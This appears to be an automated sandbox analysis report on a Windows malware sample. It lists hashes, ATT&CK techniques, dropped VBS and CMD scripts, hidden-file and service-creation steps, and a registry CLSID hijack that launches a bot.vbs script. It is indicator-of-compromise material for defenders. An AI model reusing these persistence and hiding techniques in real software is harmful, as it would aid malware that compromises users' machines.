36e1dc46694f82d37df9a900c585e3f97897758ef465fb13f7c0e27e29a52e05

Analysis

max time kernel
139s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2024, 07:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

670e6a162855d24ade316be8742406cc.exe
Size

313KB
MD5

670e6a162855d24ade316be8742406cc
SHA1

50363de25516d14838a5f92f22eb7aacc1b6b6ab
SHA256

36e1dc46694f82d37df9a900c585e3f97897758ef465fb13f7c0e27e29a52e05
SHA512

4562c65b69c66a2d4d76081fc17c3a1fd6000de5bd4825642b873020862d2b18fee3a41e8865a68ce88904a7393d90e55faece3c8e77b904bb1a411aeebb3078
SSDEEP

6144:08U2qy6rRZb7jxGYC5JTR3uaufWG7JbvTsCIq6G7GfwtBhPhb:Szy6rRxEP9ufWG7lhP742Zb

Score

8^/10

evasion persistence

Malware Config

Signatures

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

Sets file to hidden 1 TTPs 3 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
1400	attrib.exe
4760	attrib.exe
2944	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	670e6a162855d24ade316be8742406cc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	msn.exe

Executes dropped EXE 5 IoCs

pid	Process
5012	setup.exe
3496	msn.exe
2192	ar2.exe
1824	ar2.exe
3360	ar2.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\tao.ico	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\软件下载.url	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\starts.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\tool.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Microsoft	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\fav.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\soft\msn.exe	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Windows NT\se.vbs	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\open.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\网址导航.url	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\runonce.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\tool.cmd	attrib.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\se.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\tools.lnk	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\安全工具.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\se1.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\file.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Windows NT\se1.vbs	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\fav.lnk	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\tao2.ico	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\soft\setup.exe	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\tools.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\安全工具.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\cpa.cmd	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\se.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\tao2.ico	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\starts.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\runonce.cmd	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\360.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\soft	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\fav.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\Internet Expl0rer.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Internet Expl0rer.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\360.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\fav.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\fav.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav\软件下载.url	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Windows NT\se.vbs	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\fav\fav.cmd	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\cpa.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\361.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\xerox\tao.ico	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\file.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\soft\setup.exe	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\__tmp_rar_sfx_access_check_240602546	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\tool.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\open.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\soft\msn.exe	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\361.cmd	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\fav	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\tao.ico	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Windows NT\se1.vbs	cmd.exe
File created	C:\Program Files\Kingsoft\myfile\se1.vbs	670e6a162855d24ade316be8742406cc.exe
File created	C:\Program Files\Kingsoft\myfile\fav\淘宝购物.url	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\36O安全浏览器 3.lnk	670e6a162855d24ade316be8742406cc.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\Microsoft\bot.vbs	attrib.exe
File opened for modification	C:\Program Files\Kingsoft\myfile\open.vbs	attrib.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3964	sc.exe
2188	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3217459153"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31083178"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3217459153"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{EB5F5F75-B69D-11EE-9ECD-72AE6231743A} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31083178"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3218865768"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cfa71eb1212ca24fab6a788c17de622100000000020000000000106600000001000020000000ae349419fb03f8362753c849208320ab3918e19d62c073ffe5d3053640d239dd000000000e80000000020000200000008f769a27fb45e192b77b83a6f0a344bcbfc8e79943be34f0e1a7f842bec9cf2d200000002ba18aa8bed11dbb039941f43f831f63b5f3162ea00dee6cf55c6a805926920d4000000095fbb258d26dab8dc019b12185f1a78eb4a1c3ce7f7e97419c9e38ae5ba9b88e75246e5a7f797a2d763f69785a4db379c93fdd2e64de69fe0d082c50a5cfdb56	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 701a02c0aa4ada01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\GPU	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\GPU\AdapterInfo = "vendorId=\"0x10de\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.19041.546\"hypervisor=\"No Hypervisor (No SLAT)\""	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3218709266"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 606404c0aa4ada01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cfa71eb1212ca24fab6a788c17de622100000000020000000000106600000001000020000000924add3c40e8e8aeace7d514e1486a9957fe469d4cd07aa659c74f20f5daf9ca000000000e8000000002000020000000468f4d0b49a4940d54aac36809b6f1f414fb4ac9093a82ef38cea52770076a8120000000d28f20c4121859ce781ebca04c3a2847affcfd6f5438784bf1a93c2b81c42ff940000000e4d1860db06cf2322e72b10a851cce17c4a478b362332aefda3f281f56f1a15056b329a9440433dc20dd7c6b15536970c0324eb4ab8351c2591064caf7317a92	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31083178"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "31083178"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "412414961"	iexplore.exe

Modifies registry class 45 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\ = "┤≥┐¬╓≈╥│(&H)"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)\Command\ = "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\DefaultIcon\ = "shdoclc.dll,0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32\ThreadingModel = "Apartment"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\Command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder\HideOnDesktopPerUser	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\LocalizedString = "@shdoclc.dll,-880"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder\HideFolderVerbs	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\DefaultIcon\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\Command\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\Command\ = "wscript.exe c:\\progra~1\\Kingsoft\\myfile\\Microsoft\\bot.vbs"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)\Command\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings	670e6a162855d24ade316be8742406cc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InfoTip = "@shdoclc.dll,-880"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\┤≥┐¬╓≈╥│(&H)\MUIVerb = "@shdoclc.dll,-10241"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\shell\╩⌠╨╘(&R)\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder\WantsParsDisplayName	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\InProcServer32\ = "%systemRoot%\\SysWow64\\shdocvw.dll"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00000108-0000-0010-8000-00AA006DBBBB}\ShellFolder\Attributes = "0"	reg.exe

Runs net.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4856	iexplore.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4856	iexplore.exe
4856	iexplore.exe
2336	IEXPLORE.EXE
2336	IEXPLORE.EXE
2192	ar2.exe
2192	ar2.exe
2192	ar2.exe
1824	ar2.exe
1824	ar2.exe
1824	ar2.exe
3360	ar2.exe
3360	ar2.exe
3360	ar2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1604 wrote to memory of 4596	1604	670e6a162855d24ade316be8742406cc.exe	89
PID 1604 wrote to memory of 4596	1604	670e6a162855d24ade316be8742406cc.exe	89
PID 1604 wrote to memory of 4596	1604	670e6a162855d24ade316be8742406cc.exe	89
PID 4596 wrote to memory of 3744	4596	WScript.exe	91
PID 4596 wrote to memory of 3744	4596	WScript.exe	91
PID 4596 wrote to memory of 3744	4596	WScript.exe	91
PID 3744 wrote to memory of 4856	3744	cmd.exe	92
PID 3744 wrote to memory of 4856	3744	cmd.exe	92
PID 4596 wrote to memory of 2620	4596	WScript.exe	94
PID 4596 wrote to memory of 2620	4596	WScript.exe	94
PID 4596 wrote to memory of 2620	4596	WScript.exe	94
PID 2620 wrote to memory of 1400	2620	cmd.exe	96
PID 2620 wrote to memory of 1400	2620	cmd.exe	96
PID 2620 wrote to memory of 1400	2620	cmd.exe	96
PID 4856 wrote to memory of 2336	4856	iexplore.exe	98
PID 4856 wrote to memory of 2336	4856	iexplore.exe	98
PID 4856 wrote to memory of 2336	4856	iexplore.exe	98
PID 2620 wrote to memory of 4760	2620	cmd.exe	97
PID 2620 wrote to memory of 4760	2620	cmd.exe	97
PID 2620 wrote to memory of 4760	2620	cmd.exe	97
PID 2620 wrote to memory of 2944	2620	cmd.exe	99
PID 2620 wrote to memory of 2944	2620	cmd.exe	99
PID 2620 wrote to memory of 2944	2620	cmd.exe	99
PID 2620 wrote to memory of 64	2620	cmd.exe	100
PID 2620 wrote to memory of 64	2620	cmd.exe	100
PID 2620 wrote to memory of 64	2620	cmd.exe	100
PID 2620 wrote to memory of 4492	2620	cmd.exe	101
PID 2620 wrote to memory of 4492	2620	cmd.exe	101
PID 2620 wrote to memory of 4492	2620	cmd.exe	101
PID 2620 wrote to memory of 4176	2620	cmd.exe	104
PID 2620 wrote to memory of 4176	2620	cmd.exe	104
PID 2620 wrote to memory of 4176	2620	cmd.exe	104
PID 2620 wrote to memory of 1268	2620	cmd.exe	102
PID 2620 wrote to memory of 1268	2620	cmd.exe	102
PID 2620 wrote to memory of 1268	2620	cmd.exe	102
PID 2620 wrote to memory of 1112	2620	cmd.exe	103
PID 2620 wrote to memory of 1112	2620	cmd.exe	103
PID 2620 wrote to memory of 1112	2620	cmd.exe	103
PID 2620 wrote to memory of 4268	2620	cmd.exe	105
PID 2620 wrote to memory of 4268	2620	cmd.exe	105
PID 2620 wrote to memory of 4268	2620	cmd.exe	105
PID 2620 wrote to memory of 2388	2620	cmd.exe	107
PID 2620 wrote to memory of 2388	2620	cmd.exe	107
PID 2620 wrote to memory of 2388	2620	cmd.exe	107
PID 2620 wrote to memory of 2276	2620	cmd.exe	106
PID 2620 wrote to memory of 2276	2620	cmd.exe	106
PID 2620 wrote to memory of 2276	2620	cmd.exe	106
PID 2620 wrote to memory of 3196	2620	cmd.exe	109
PID 2620 wrote to memory of 3196	2620	cmd.exe	109
PID 2620 wrote to memory of 3196	2620	cmd.exe	109
PID 2620 wrote to memory of 860	2620	cmd.exe	108
PID 2620 wrote to memory of 860	2620	cmd.exe	108
PID 2620 wrote to memory of 860	2620	cmd.exe	108
PID 2620 wrote to memory of 4448	2620	cmd.exe	110
PID 2620 wrote to memory of 4448	2620	cmd.exe	110
PID 2620 wrote to memory of 4448	2620	cmd.exe	110
PID 2620 wrote to memory of 4016	2620	cmd.exe	111
